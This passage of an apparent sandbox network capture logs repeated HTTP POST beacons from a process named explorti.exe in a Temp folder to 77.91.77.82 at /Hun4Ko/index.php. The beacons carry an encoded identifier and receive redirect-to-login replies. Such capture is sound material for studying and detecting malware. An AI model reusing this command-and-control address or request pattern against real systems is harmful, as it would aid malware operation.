r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:39.628693104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49735	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:39.745088100 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:40.422669888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:40.423300028 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:40.635448933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49736	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:40.750689983 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:41.423033953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:41.423753977 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:41.639381886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49737	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:42.216329098 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:42.916496992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:42.917220116 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:43.138890028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49738	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:43.262357950 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:44.065327883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:44.066448927 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:44.282882929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49739	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:44.401165962 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:45.079210043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:45.080498934 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:45.293524027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49740	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:45.417556047 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:46.136687040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:46.137666941 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:46.350311995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49741	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:46.463898897 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:47.149317980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:47.150104046 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:47.368997097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49742	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:47.479644060 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:48.163696051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:48.164670944 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:48.383055925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49743	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:48.495126009 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:49.854476929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:49.854502916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:49.854513884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:49.857372999 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:50.075582027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49744	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:50.182310104 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:50.858501911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:50.859354973 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:51.072541952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49745	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:51.182203054 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:51.859661102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:51.860346079 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:52.072575092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49746	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:36:52.182758093 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:36:52.858726025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:36:52.859415054 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:36:53.076347113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49747	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
